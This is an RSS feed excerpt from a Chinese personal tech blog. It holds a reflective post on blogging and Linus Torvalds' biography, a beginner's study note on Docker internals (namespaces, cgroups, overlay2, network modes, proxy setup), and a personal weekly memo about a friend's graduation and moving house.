&lt;p&gt;博客对于我而言是一种记录。在阅读了这位&lt;a href=&quot;https://goldenriver.site/&quot;&gt;博主&lt;/a&gt;的博客后，我更加确信这一点。至于记录什么，这就不重要了，可以看到，这个博客里充斥着各种各样的记录，仅仅取决于我某一时刻的状态，以及一篇博客的记述风格也源于我记录它时的心情，也许咬文嚼字，也许只是随意的书写，就像现在。在这片属于我的空间里，我大概是自由的，所以我自由的书写，自由的记录。&lt;/p&gt;
&lt;p&gt;中文独立博客是互联网上为数不多纯粹的东西，我也想成为其中的一份子，将自己的记忆留在这里。&lt;/p&gt;
&lt;p&gt;这也是我觉得为什么很多人喜欢鼓捣博客主题的缘故（比如我），因为一个博客从某种意义上讲确实是属于自己的东西，在构建主题的过程中，也算是一种对于“自我”的探索。这也是为什么我在年初时定下了重写博客主题的目标，到现在为止，也算是初步完成了。&lt;/p&gt;
&lt;p&gt;在半个月前看了 &lt;a href=&quot;https://hiripple.com&quot;&gt;Ripple&lt;/a&gt; 学长非常非常 cool 的 Gamer 主题后，我本来也打算再稍微重写一下这个博客的主题的。但真正坐在屏幕前构思怎么写时，反而动不了手。究其原因我觉得是我并不知道什么样的内容才是符合我的博客的，像 Ripple 学长本身就是一个 Gamer，所以他在做这个主题时会知道如何去设计，&lt;strong&gt;从而让博客成为他自己的表达&lt;/strong&gt;。于是直到最后，我只是简单地重写了评论组件，将其从原来的 Waline，切换到了 Supabase（不过数据还没迁移，所以可能导致之前的评论显示不正常，之后找个时间补一下，反正评论也不多），使得整个博客成为了一个简单的全栈型应用，整体设计依旧保持简约，以后真正有了想法再做更改。&lt;/p&gt;
&lt;p&gt;如何表达自己还会是我今后探索的一个侧重点，无论是与他人沟通，还是与自己沟通，抑或是和 llm 交流，这都是一个非常重要的点，从写博客的人转变为写自己的人。&lt;/p&gt;
&lt;p&gt;我会继续记录下去的。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;未来的计划：&lt;/h2&gt;
&lt;p&gt;也是到了规划未来的年纪了，博客未来估计的更新也会趋向于记录学习方面（？，其实我也不确定，但我感觉是的，反正如上面所说，取决于我某一时段的心情），所以我列出了未来两年想要去了解的东西，让我能去混口饭吃🥹，希望两年后能做到吧。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;go&lt;/li&gt;
&lt;li&gt;rust&lt;/li&gt;
&lt;li&gt;k8s 以及云原生相关方面的开发&lt;/li&gt;
&lt;li&gt;ai 等的一系列知识（这个就比较宽泛了，大概率也是做应用层，到时候看吧）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我还是很想去拥抱这个时代，无论怎样，我不愿意自己过一个随波逐流得过且过的人生。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Just for Fun : )&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;众所周知，人们被热情驱使的时候，就能把工作做到最好。要是他们享受工作的乐趣，更是如此。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;学习也许真的可以是一件纯粹的事&lt;/strong&gt;。由于我非常喜欢的一位 up 主&lt;a href=&quot;https://space.bilibili.com/162183/dynamic?spm_id_from=333.1365.list.card_title.click&quot;&gt;原子能&lt;/a&gt;的推荐，在这个月零碎的时间里，我断断续续地读完了 Linus 的传记——&lt;em&gt;Just For Fun&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/07/fdd0e6e08ff4ab8b6e580e17eb968a36.jpg&quot; alt=&quot;Just for Fun: The Story of an Accidental Revolutionary&quot;&gt;&lt;/p&gt;
&lt;p&gt;传记本身称得上平平无奇，没有华丽的词藻，像是小学生的流水账，但是在看够了那些“传统”的名人传记后，读起来反而清新不少。至少在传记里，Linus 不是神，没有什么宿命般天才般的称谓和举动，就像是一个普普通通的程序员一样，过着上班写代码的人生，所做的一切正如他自己所言：“&lt;em&gt;Just for Fun。&lt;/em&gt;&quot;&lt;/p&gt;
&lt;p&gt;我觉得这就是学习本身所需要的，但这正好是我们的教育所缺乏的。与其被一些不知道有什么用以及不感兴趣的东西搞得晕头转向，丧失了对于学习兴趣时，不如问问自己这样真的开心吗，为什么不去尝试些有趣有意思的东西呢？&lt;/p&gt;
&lt;p&gt;让我再次引用王小波在《沉默的大多数》中谈到的：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我活在世上，无非想要明白些道理，遇见些有趣的事。倘能如我所愿，我的一生就算成功。为此也要去论是非，否则道理不给你明白，有趣的事也不让你遇到。我开始得太晚了，很可能做不成什么，但我总得申明我的态度，所以就有了这本书——为我自己，也代表沉默的大多数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我开始的不算太晚，但我还是想申明自己的态度，所以就有了这篇文章。&lt;/p&gt;
&lt;p&gt;Just for Fun : ) !&lt;/p&gt;</content:encoded><category>随想录</category></item><item><title>docker大学习1:容器的底层</title><link>https://cry4o4n0tfound.cn/blog/docker%E5%A4%A7%E5%AD%A6%E4%B9%A01/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/docker%E5%A4%A7%E5%AD%A6%E4%B9%A01/</guid><pubDate>Mon, 28 Jul 2025 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;​	虽然已经享受了很久容器化技术带来的便捷，但其实并没有系统性地学习过 docker 的底层原理，恰逢苹果最近也推出了更适合于 macos 下的 container 。就借此机会，打算以本文来记述我的 docker 大学习。仅供参考，可能还会有很多错误，大概会不断修订完善。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;从 cgroup 和 namespace 说起：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;A container is a standard unit of software that packages up code and all  its dependencies so the application runs quickly and reliably from one  computing environment to another.        												-- &lt;a href=&quot;https://www.docker.com/resources/what-container/&quot;&gt;Docker&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;虚拟机与容器：&lt;/h3&gt;
&lt;p&gt;一般来讲，启动一个虚拟机总是比启动一个容器要慢的多的（这里就不要拿国内拉取镜像再启动的速度来对比啦...)。&lt;/p&gt;
&lt;p&gt;这源于两者的隔离机制不同，或者说两者的抽象层实现方式不同。&lt;/p&gt;
&lt;h4&gt;虚拟机：&lt;/h4&gt;
&lt;p&gt;虚拟机一般使用 hypervisor 模拟出完整的硬件层，所以每个虚拟机内部有完整的操作系统，有自己的内核，文件系统以及用户空间。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://storage.googleapis.com/qvault-webapp-dynamic-assets/course_assets/QS4HGNG.png&quot; alt=&quot;how vms work&quot;&gt;&lt;/p&gt;
&lt;h4&gt;容器：&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;容器 (Container)&lt;/strong&gt; 的隔离机制则是基于 &lt;strong&gt;宿主机的操作系统内核&lt;/strong&gt; 实现的：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://storage.googleapis.com/qvault-webapp-dynamic-assets/course_assets/fmZG1Zd.png&quot; alt=&quot;how container works&quot;&gt;&lt;/p&gt;
&lt;p&gt;容器不是模拟硬件，也不是运行一个完整的 Guest OS。它利用宿主机的 Linux 内核提供的两个核心功能来实现隔离和资源管理：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Namespace (命名空间):&lt;/strong&gt; 提供隔离性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cgroup (Control Groups - 控制组):&lt;/strong&gt; 提供资源限制和管理。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h5&gt;1. Namespace (命名空间)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;作用：&lt;/strong&gt; 隔离进程的视图。它让容器内的进程感觉自己拥有独立的系统资源，但实际上这些资源是宿主机共享的，只是通过 Namespace 进行了隔离。&lt;strong&gt;简单来讲，namespace 限制了容器的世界，使得容器像井底之蛙一样，只能通过有限的井口看外面的世界。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当一个进程被创建时，它可以被分配到不同的命名空间中。一旦进入某个命名空间，它就只能看到该命名空间内的资源。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里可以联系回想起 cpp 中的 using namespace，可想而知 cpp 是一个多么复杂的玩意儿😃&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;默认情况下，子进程会复制父进程的 namespace，我们可以用 &lt;code&gt;lsns&lt;/code&gt; 来查看宿主机上的 namespace，然后将其与一个容器的 namespace 做对比。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;常见的6种 Namespace 类型：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mount Namespace (MNT):&lt;/strong&gt; 隔离文件系统挂载点。容器有自己的文件系统视图，就像拥有独立的根目录一样。宿主机的 &lt;code&gt;/&lt;/code&gt; 目录在容器内是不可见的，容器看到的 &lt;code&gt;/&lt;/code&gt; 是其独立的容器镜像内容加上可能的挂载卷。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PID Namespace (PID):&lt;/strong&gt; 隔离进程 ID。容器内的进程有一个独立的进程树，其内部的第一个进程 PID 通常是 1。容器外部的进程在容器内是不可见的，反之亦然。宿主机上的 PID 1 进程在容器内看不到，容器内的 PID 1 进程在宿主机上可能对应一个不同的 PID。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Namespace (NET):&lt;/strong&gt; 隔离网络接口、IP 地址、路由表、端口等。每个容器可以有自己独立的网络栈，拥有自己的 IP 地址和网络配置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;User Namespace (USER):&lt;/strong&gt; 隔离用户和组 ID。容器内的 &lt;code&gt;root&lt;/code&gt; 用户在宿主机上可能只是一个普通用户，这增加了安全性，即使容器内的 &lt;code&gt;root&lt;/code&gt; 权限被攻陷，攻击者也无法直接获取宿主机的 &lt;code&gt;root&lt;/code&gt; 权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UTS Namespace (UTS):&lt;/strong&gt; 隔离主机名和域名。容器可以有自己的主机名，即使宿主机的主机名不同。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IPC Namespace (IPC):&lt;/strong&gt; 隔离进程间通信 (IPC) 资源，如信号量、消息队列和共享内存。保证容器间的 IPC 不会相互干扰。&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2. cgroup (Control Groups - 控制组)&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;作用：&lt;/strong&gt; 限制、测量和隔离一组进程的系统资源使用，如 CPU、内存、硬盘 I/O 和网络带宽。&lt;strong&gt;cgroup 则是限制了容器可以使用的资源，类似于财政管理。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如何工作：&lt;/strong&gt; cgroup 将进程组织成一个层级结构。在该层级结构的节点上，可以设置各种资源限制和管理策略。属于同一个 cgroup 的进程会共享该 cgroup 设置的资源限制。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;cgroup 提供的子系统 (Subsystems/Controllers):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;cpu:&lt;/strong&gt; 限制 CPU 的使用时间（例如，分配一定的 CPU 份额或规定最大使用率）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cpuacct:&lt;/strong&gt; 统计 cgroup 中进程的 CPU 使用时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;memory:&lt;/strong&gt; 限制内存的使用量。当达到限制时，系统可能会触发 OOM (Out of Memory) 机制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;blkio:&lt;/strong&gt; 限制块设备 (如硬盘) 的 I/O 速率。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;net_cls / net_prio:&lt;/strong&gt; 标记网络数据包，以便通过流量控制工具来限制网络带宽。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;devices:&lt;/strong&gt; 控制哪些进程可以访问哪些设备文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pids:&lt;/strong&gt; 限制 cgroup 中可以创建的进程数量。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;实际的运行：&lt;/h4&gt;
&lt;p&gt;​	用 &lt;code&gt;docker run -it --rm --name b1 busybox&lt;/code&gt;启动一个简单的 busybox ，我们可以用 &lt;code&gt;docker inspect｜grep -i pid&lt;/code&gt; 来查看有关的进程。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/2a794bb9ee1c79c05d8c769ddde5c99a.jpg&quot; alt=&quot;macos 上&quot;&gt;&lt;/p&gt;
&lt;p&gt;由于 macOS 是基于 bsd 的，所以 docker 其实是运行在本地的一个轻量级 linux 虚拟机上，无法像 linux 一样直接寻找到对应的宿主机中的容器进程。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/e0acad9d1f9946c803b58405b3544cab.jpg&quot; alt=&quot;在 linux 虚拟机上&quot;&gt;&lt;/p&gt;
&lt;p&gt;而在 linux 上一路溯源，我们能发现容器中的 sh 这个进程归根结底还是由 1 也就是&lt;/p&gt;
&lt;p&gt;​	&lt;code&gt;root           1       0  0 00:44 ?        00:00:03 /sbin/init&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;启动的，而在大多数，包括我的这个试验机 ubuntu 上面，一般都是启动我们的 &lt;code&gt;systemd&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;借此我们更深入了解到容器是进程这一概念。&lt;/p&gt;
&lt;p&gt;继续看 namespace 之间的对比，对于容器本身：&lt;/p&gt;
&lt;p&gt;​	&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/ab653aa24c02986d2cf59c60a32c0471.jpg&quot; alt=&quot;容器&quot;&gt;&lt;/p&gt;
&lt;p&gt;再看宿主机，可以很明显的对比出，除了类似于 user 和 time 这种 namespace 外，pid 以及 cgroup 等的 ns 是不同的&lt;/p&gt;
&lt;p&gt;​	&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/199d04695cdd53d689d4728378a622d5.jpg&quot; alt=&quot;宿主机&quot;&gt;&lt;/p&gt;
&lt;p&gt;除此之外，我们可以通过 Cgroup 来限制容器使用的资源，包括内存，cpu 的份额等，修改 cgroup 目录下  &lt;code&gt;cpu_cfs_period_us(调度周期)&lt;/code&gt; 、 &lt;code&gt;cpu_shares(cpu 分配比例)&lt;/code&gt; 来限制 dokcer 的值。&lt;/p&gt;
&lt;p&gt;当然，docker 本身启动时也提供了对应的参数来给予限制，例如：&lt;/p&gt;
&lt;p&gt;限制 cpu 的份额：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run -it --name b1 --cpu-quota 200000 busybox 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;限制内存的份额：&lt;/p&gt;
&lt;p&gt;所以可以把某些不怎么活跃的容器限制到 swap 空间内，但需要注意的是，&lt;strong&gt;超过默认设置的 memory 值执行的默认命令是 kil 当前的容器，需要人为的设定超出的逻辑。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker run -it --name b1 --memory 6m --memory-swap 10m busybox
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;docker 的文件系统：&lt;/h2&gt;
&lt;p&gt;​	使用 &lt;code&gt;docker info&lt;/code&gt; ，可以看到 docker 使用的文件系统是 &lt;code&gt;Storage Driver: overlay2&lt;/code&gt; , 这是 docker 可以构建镜像的关键助力之一，它与 Dockerfile 的书写息息相关。&lt;/p&gt;
&lt;p&gt;​	overlay2 和 AUFS 类似，它将所有目录称之为层（layer），overlay2 的目录是镜像和容器分层的基础，而把这些层统一展现到同一的目录下的过程称为联合挂载（union mount）。overlay2 把目录的下一层叫作lowerdir，上一层叫作upperdir，联合挂载后的结果叫作merged。总体来说，overlay2 是这样储存文件的：overlay2将镜像层和容器层都放在单独的目录，并且有唯一 ID，每一层仅存储发生变化的文件，最终使用联合挂载技术将容器层和镜像层的所有文件统一挂载到容器中，使得容器中看到完整的系统文件。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;overlay2 文件系统最多支持 128 个层数叠加，也就是说你的 Dockerfile 最多只能写 128 行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;&lt;strong&gt;分层与挂载的核心机制&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;overlay2 的运作依赖&lt;strong&gt;镜像层&lt;/strong&gt;与&lt;strong&gt;容器层&lt;/strong&gt;的分工协作。镜像层（&lt;code&gt;lowerdir&lt;/code&gt;）是只读的静态数据，每一层对应 Docker 镜像构建中的一个步骤（如基础镜像、软件安装、配置追加等），存储在 &lt;code&gt;/var/lib/docker/overlay2&lt;/code&gt; 下，以哈希 ID 为唯一标识（这在每次拉取镜像时会也有所体现）。容器启动时，会在镜像层顶部动态生成一个&lt;strong&gt;可写层&lt;/strong&gt;（&lt;code&gt;upperdir&lt;/code&gt;），所有运行时文件增删改操作均在此层记录。两者的内容通过联合挂载（Union Mount）技术合并为统一视图（&lt;code&gt;merged&lt;/code&gt;），使得容器内的进程如同操作一个完整的文件系统。&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;写时复制与文件操作细节&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;当容器尝试修改镜像层中的文件时，overlay2 触发**写时复制（CoW）**机制（操作系统的知识终于印照到现实了！)：原始文件从镜像层复制到容器层后完成修改，镜像层内容保持不变。这种设计既保护了镜像的不可变性，又实现了多容器共享同一镜像时的资源节省。&lt;/p&gt;
&lt;p&gt;读取文件时，overlay2 按“自上而下”的路径查找：先在容器层（&lt;code&gt;upperdir&lt;/code&gt;）检索文件的最新版本，若不存在则逐级向镜像层（&lt;code&gt;lowerdir&lt;/code&gt;）回溯。删除操作通过生成以 &lt;code&gt;.wh.&lt;/code&gt; 为前缀的&lt;strong&gt;白化文件&lt;/strong&gt;标记，覆盖镜像层中的对应文件，逻辑上使该文件在 &lt;code&gt;merged&lt;/code&gt; 视图中“消失”。需要注意的是，重命名等原子操作可能跨越层级，导致上下层文件共存，实际场景中需结合应用逻辑规避潜在问题。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;容器与镜像以及容器文件系统：&lt;/h2&gt;
&lt;p&gt;​	简单来讲，镜像(image)是指静态的文件，docker images看到的结果。容器(container)是 docker run 命令执行镜像中预先设定好的程序而生成的进程，docker ps 看到的结果。以操作系统的知识来描述的话：&lt;strong&gt;二者之间的关系类似于程序和进程。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/07/cd5137291a95cfbf6aadf0112f404658.jpg&quot; alt=&quot;init 层&quot;&gt;&lt;/p&gt;
&lt;p&gt;这里的 init 层主要提供一些映射的关系，主要是针对 resolv（也就是 dns ）、hostname、hosts 做相关的挂载映射，保证与宿主机的一致。&lt;strong&gt;所以当宿主机 dns 发生混乱时，docker 也会跟着混乱，并且有些软件修改 resolv.conf 时并不会引起 docker 内部的变化，具体原因我暂时还不明白，但正因此，docker 的 dns 解析很容易出问题。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;也正是因为 init 层是个性化的针对每个宿主机的内容，所以在 commit 打包一个新镜像是不会将 init 层打包进去的。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Commit 是一个非常方便的 docker 命令，可以将当前活动的容器打包成一个新的镜像，这样就不用 debug 在容器内更改完后还得回最初的程序上做更改打包了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;容器网络&lt;/h2&gt;
&lt;p&gt;在这片土地上，最不缺的就是网络问题，而作为一个涉及了很多系统底层的程序，解决 docker 的网络代理配置可以说是梦魇——尤其是对于一个涉世未深的初学者，常常会被折磨到抓狂。（问就是因为我经历过😇）
在进行网络代理配置问题之前，或许我们应该对 docker 内的网络有所了解：&lt;/p&gt;
&lt;p&gt;docker 中的容器网络大概有以下几种，如果要以某种网络方式运行的话，那么命令是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run mycontaniner --network bridge/none/host...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/07/31c92d2caa86a446ec21d333844061d7.jpg&quot; alt=&quot;docker 的各种网络&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以下部分引自知乎: &lt;a href=&quot;https://zhuanlan.zhihu.com/p/682597159&quot;&gt;https://zhuanlan.zhihu.com/p/682597159&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Brige：&lt;/h3&gt;
&lt;p&gt;​	Bridge 模式是 docker 默认的启动模式，什么都不指定的情况下就会以 Bridge 模式启动，这个时候宿主机类似于容器的网关，整个 docker 的容器与宿主机的关系就类似于家里面电子设备和家里面路由器的关系。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/07/a73773daaad9d31f024876ac2d523d1d.jpg&quot; alt=&quot;bridge&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Host：&lt;/h3&gt;
&lt;p&gt;​	host 模式则是容器和宿主机共享网络命名空间，类似于 wsl 和 vmware 的 bridge 模式，这样无需 nat，从性能而言讲是最佳的，搭建简单服务也是最方便的，但正如我们&lt;a href=&quot;#1-namespace-%E5%91%BD%E5%90%8D%E7%A9%BA%E9%97%B4&quot;&gt;刚才所说&lt;/a&gt;，命名空间给予了容器很大程度上的独立性，抛弃了网络命名空间后一旦容器内的服务端口和宿主机的端口发生冲突，就无法正常使用了，并且隔离效果也比较差，我对于这个 host 模式的看法就是：**你都用 host 了，那为什么不本地直接跑呢？**当然，也许它有自己独特的优越之处吧，反正我很少使用。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/07/83ce98f5c16e933cd41801179047627c.jpg&quot; alt=&quot;host 模式&quot;&gt;&lt;/p&gt;
&lt;h3&gt;None：&lt;/h3&gt;
&lt;p&gt;​	none 模式一般就是沙盒中做测试用的。顾名思义，none 模式没有外界的网络接口，只有一个本地回环网口 lo，大多数时候都是用来测试什么病毒程序之类的，在生产中很少用到。&lt;/p&gt;
&lt;h3&gt;IPvLAN 网络&lt;/h3&gt;
&lt;p&gt;IPvLAN 是一种高级模式，可提供对容器的 IPv4 和 IPv6 地址进行详细控制的能力，它还可以处理第 2 层和第 3 层 VLAN 标记和路由。&lt;/p&gt;
&lt;p&gt;如果你需要将容器服务连接到已有物理网络，此模式会很有用。IPvLAN 网络具有自己的接口，其性能可能比基于桥接网络的网络更好。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/07/8226e04305988d06977c7a8b4be7acc9.jpg&quot; alt=&quot;ipvlan&quot;&gt;&lt;/p&gt;
&lt;p&gt;比如这次在 xiaolab 实习时的项目就是采用这种方式部署的。&lt;/p&gt;
&lt;h3&gt;Macvlan：&lt;/h3&gt;
&lt;p&gt;​	Macvlan 模式为容器分配独立 MAC  地址，使其直接接入物理网络，就像是为容器颁发了一张直接参与物理网络通信的通行证，让容器成为物理网络的  “一等公民”。在这种模式下，容器可以获得一个独立的 MAC 地址和 IP 地址，直接连接到物理网络，绕过了 Docker  默认的网络桥接，网络延迟更低，性能更接近物理机。&lt;/p&gt;
&lt;p&gt;容器可以直接使用物理网络的 IP  地址，与物理网络中的其他设备进行通信，就像直接连接到物理网络的计算机一样，能够自由地与其他设备交换数据。比如，在网络监控场景中，容器需要实时获取物理网络中的流量数据，使用 Macvlan 模式就能快速实现数据采集，满足监控需求。理论上来讲，这类模式就是细粒化程度最高的模式，当然，配置起来也更繁琐。&lt;/p&gt;
&lt;h2&gt;代理配置：&lt;/h2&gt;
&lt;p&gt;终于来到了代理配置阶段，自从国内镜像源在去年 6、7 月左右被大规模制裁后，现在 docker 还是配置代理更好，由于 docker pull 、build 、以及容器内的网络设置均有一点不同，我现在的代理配置方案一般参考 SkyWT 的这种&lt;a href=&quot;https://skywt.cn/blog/docker-proxy-configuration&quot;&gt;设置&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;如果实在懒得折腾，这里也有一个不错的&lt;a href=&quot;https://1ms.run/&quot;&gt;镜像源&lt;/a&gt;——至少目前用起来还算不错。&lt;/p&gt;
&lt;p&gt;至此，docker 底层的基础原理部分就有了大概的了解了，接下来也许需要更熟悉一些命令，比如构建镜像，推送镜像这些命令到底在做什么。&lt;/p&gt;</content:encoded><category>学习</category></item><item><title>Memos 12:-告别</title><link>https://cry4o4n0tfound.cn/blog/memos-12-%E5%91%8A%E5%88%AB/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-12-%E5%91%8A%E5%88%AB/</guid><pubDate>Sat, 28 Jun 2025 12:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;简介：&lt;/h2&gt;
&lt;p&gt;毕业季过了，送 SkyWt 离开了长沙，我也告别了学校寝室。&lt;/p&gt;
&lt;h2&gt;告别：&lt;/h2&gt;
&lt;p&gt;似乎人越长大越是对时间敏感，每次毕业季或者高考季的时候我总会在脑海中回忆起自己未来（过去）经历这些时（会）是什么样子。&lt;/p&gt;
&lt;p&gt;在这篇周记时间中的上周，&lt;a href=&quot;https://skywt.cn&quot;&gt;SkyWt&lt;/a&gt; 顺利毕业了，用他的话来说：“终于可以摆脱 Hnu 和长沙了。“ 我为他感到高兴，我觉得如果是两年后的我，肯定也会这样，甚至犹有过之，但心里面不免还是有些难过——大学中平时能见到的为数不多的好朋友要少一个了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我一直觉得大学的朋友是很难得的，而像 SkyWt 这种对我还有引导作用的朋友更为难得&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;上周去参加新生班助面试的时候，我听了前人留下来的经验，多去讲自己班助给自己带来的影响，于是在面试中大谈特谈 SkyWt 给我的影响，最后被面试的学姐评价为：“三句话不离 wt ”。这是舍友转达给我的，他是组织部部长，面试完去问的学姐，告诉我这句话的时候他自己忍不住笑了。但我觉得这其实没什么好笑的，SkyWt 确实对我的影响很大，我觉得在班助面试多谈一谈是应该的。班助本身就应该是一个能给学弟学妹们带来帮助的职位，让他们能有一点对于大学的激情，能去探索和学习计算机中真正有意思的东西，而不是整日沉湎于绩点大作战之中，那实在是无趣😑。&lt;/p&gt;
&lt;p&gt;这也是 SkyWt 作为班助给我带来的。无论是去学习一些安全相关的知识，还是进行开发的学习，他都给了我很大的帮助和指点，也给予了我鼓励，让我坚定自己的信念。&lt;/p&gt;
&lt;p&gt;写到这里，回头一看，还是”三句话不离 wt 。“  这大概是一种真正的不舍吧，后面大学两年里估计再也不会有这样的朋友了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/f71e71039bad8eb87958c5da0bacdca0.jpg&quot; alt=&quot;继承的小米显示器、充电宝，甚至小米手环()&quot;&gt;&lt;/p&gt;
&lt;p&gt;在告别 SkyWt 之后，我继承了他的遗产（嗯，遗留在长沙的物资），也同时继承了他租的房子——本来不应该在 7 月，也不一定是他的这间房子，但学校总能搞出一些奇怪的幺蛾子——把 21 级延毕的非信安专业的同学塞进了我们寝室，美名其曰为了节约“寝室资源”。我很害怕这是个 go 学长或者说瓦学弟，大喊大叫把寝室搞得乌烟瘴气，我承认，这有一点假想敌过度的感觉，但我觉得面对一位延毕并且即将成为自己室友的同学，很难不去揣测他是因为什么延毕的，而人揣测起来总会往最坏的方向想，所以为了停止这些无端的遐想，不如干脆直接搬出来，一劳永逸，毕竟，我早就想远离集体生活了，还是一个人住起来最方便，不需要担心影响到舍友，抑或是被舍友所影响，就当是提前适应未来的租房生活了（虽然在这里略去了找房源的这一环...）。&lt;/p&gt;
&lt;p&gt;除此之外，我早已习惯了一个人在寝室安静的看我的电脑，而“由俭入奢易，由奢入俭难。”，再让我与一个根本没什么交集的人成为舍友和熟悉，同时忍受不同的作息，已经变成一件很困难的事情了。&lt;/p&gt;
&lt;p&gt;所以我在一天内完成了续租和搬走...不得不说，搬东西真的是一件很累的事情，尤其是对于一个健忘的人来说，就算写了备忘录也依然会出现搬了但只搬了一半的情况，比如：搬了显示器却忘了显示器的电源线...来来回回跑了好几趟，上下 7 楼 + 上下 5 楼 4次耗尽了我全部的精力。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/ce67d49b92d41f453b0e25f9e73516f3.jpg&quot; alt=&quot;勾了但又没勾完...&quot;&gt;&lt;/p&gt;
&lt;p&gt;不过整理好房间后，看到整个房间井井有条还是让人心情愉悦，让人想学习的欲望也强烈了起来（bushi）, 希望未来一年能在这个小小房间里学习到更多有意思的东西吧。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;琐事杂记：&lt;/h2&gt;
&lt;h3&gt;小学期：&lt;/h3&gt;
&lt;p&gt;在这个月月初的时候，我借着国补购置了 Macbookair m4，深度体验了半个月后我已经彻底不想用 windows 来写代码和学习。mac 的超长续航让我可以一天不用带着之前那砖头一般的电源适配器跑上跑下。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picture.cry4o4n0tfound.cn/2025/06/69505e1fc6a9703b6325a622b9c87f59.jpg&quot; alt=&quot;其实只想贴 gopher 来着&quot;&gt;&lt;/p&gt;
